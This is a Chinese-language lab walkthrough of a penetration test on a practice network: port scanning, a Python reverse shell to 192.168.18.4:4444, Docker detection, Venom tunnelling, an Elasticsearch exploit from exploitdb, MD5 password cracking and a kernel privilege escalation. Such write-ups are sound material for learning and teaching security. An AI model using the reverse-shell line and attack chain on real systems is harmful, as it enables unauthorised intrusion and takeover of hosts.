week1
第一周
信息收集
首先进行本地ARP探测,这里可以发现存活的其他主机。发现我们的目标为192.168.18.3
进行端口探测
namp -p- ip #全端口探测 |
nmap -p22,5000 -sV ip #具体服务探测 |
这里可以发现这里5000端口是一个web服务。我们进去访问看一下。
然后这里我们使用dirsearch扫描可以扫描到一个 admin的隐藏目录。
打点
这里的话意思就是可以让我们执行一个python的代码,有这么一个环境。那么我们就可以监听本地端口。然后看一下是否可以反弹shell。
nc -nlvp 4444 #监听4444端口 |
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
执行反弹shell的代码,注意这里/bin/sh
不能是/bin/bash
,可能是目标机器没有bash。
这里可以看到直接给我们反弹回了一个root权限的shell,但是事情是不会这么简单的。我们可以发现在目录下存在一个Dockerfile
文件,这个文件是Docker使用的文件,然后我们查看一下ip。
ip也是跟我们直接攻击的ip不同,那么我们很有可能是进入了一个docker的环境,我们可以进一步确认。
cat /proc/1/cgroup #proc是进程目录,1是初始化进程。我们可以看到docker相关的信息,那么100%确认是进入了docker环境 |
我们这里需要对内网的主机进行存活探测了,可以使用shell脚本。
内网
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done #ping1 到 10的ip |
可以看到1-3
都是有回应的包,当然我们在这里只是扫了10台主机,在实战中我们需要全部扫描。
创建隧道
这里我们使用Venom
先在本机启动一个服务端
./admin_linux_x64 -lport 9999 |
这里我们再使用python开启一个web服务,让服务器来下载我们的客户端。
然后先对客户端进行加权限操作
chmod +x agent_linux_64 |
然后再执行命令让它来连接我们的服务端
./agent_linux_x64 -rhost 192.168.18.4 -rport 9999 |
然后来到服务端
使用show命令我们可以看到有一个节点已经连接到了。然后我们可以进入到节点,然后启动一个socks代理。
这里我们可以修改proxychains
来达到全局代理的效果。
这里我们修改一下这里的数据。
信息收集
我们后续使用工具的时候只需要在前面添加poxychains
就可以通过代理去执行了。
我们在前面可以得知有其他的主机存活,我们可以对其他ip进行一个扫描。
proxychains nmap -sT -Pn 172.17.0.2 |
这里对172.17.0.2
扫描可以发现存在一个9200端口,我们对它进行更详细的探测。
proxychains nmap -sV -Pn -sT 172.17.0.2 |
这里可以发现存在一个Elasticsearch
服务,这里可以看到详细的版本。
打点
这里使用kali的searchsploit
可以查找Elastucsearch
的相关漏洞利用代码。
第一个第二个可以看到是代码执行的漏洞,我们可以直接测试利用一下(实际情况我们可以去网络上搜集一下服务的版本再查找利用代码)
这个服务的利用代码库在/usr/share/exploitdb/exploits
cp /usr/share/exploitdb/exploits/linux/remote/36337.py . |
这里就是将我们的利用代码copy到当前目录
它需要使用python2的环境去运行。
挂上代码进行攻击。
成功获取到shell
这里可以看到存在一个密码文件,我们可以进行查看。
但是这里是一个密码的hash值,这里就是经过了md5加密。这里结果的话就是只有john的账户可以使用,密码破解为1337hack
,直接进行ssh的连接即可。
提权
我们查看可以发现这个linux的内核版本比较的低,应该会存在很多的提权漏洞。这里我们继续直接进行搜索。
这里有非常多可以进行利用的,这里就直接使用老师用的那个。
这里也把他先copy到桌面。
然后我们需要查看一下这个源代码,里面我们需要改动一下代码。
这里可以发现使用这个payload的话需要使用到gcc,但是目标机上并不存在gcc,这样就尴尬了。但是我们可以在本机编译好再上传,但是这个代码还是会调用到gcc,所以我们需要把它删掉一部分。
我们把这一部分去除,但是这里发现它还会调用一个ofs-lib.so
的文件,这个我们也需要一并上传。
这里我们直接调用gcc
进行编译,这里报错没有关系。
把这个文件也一起复制到桌面。
然后老办法,通过开启python的http服务来让目标主动下载。
然后执行exp即可获得root权限,但是我这里失败了,猜测是gcc版本过高,然后看一下果然有点高。然后我就放在ubuntu内编译了,然后再拿过来。
成功获取!!!。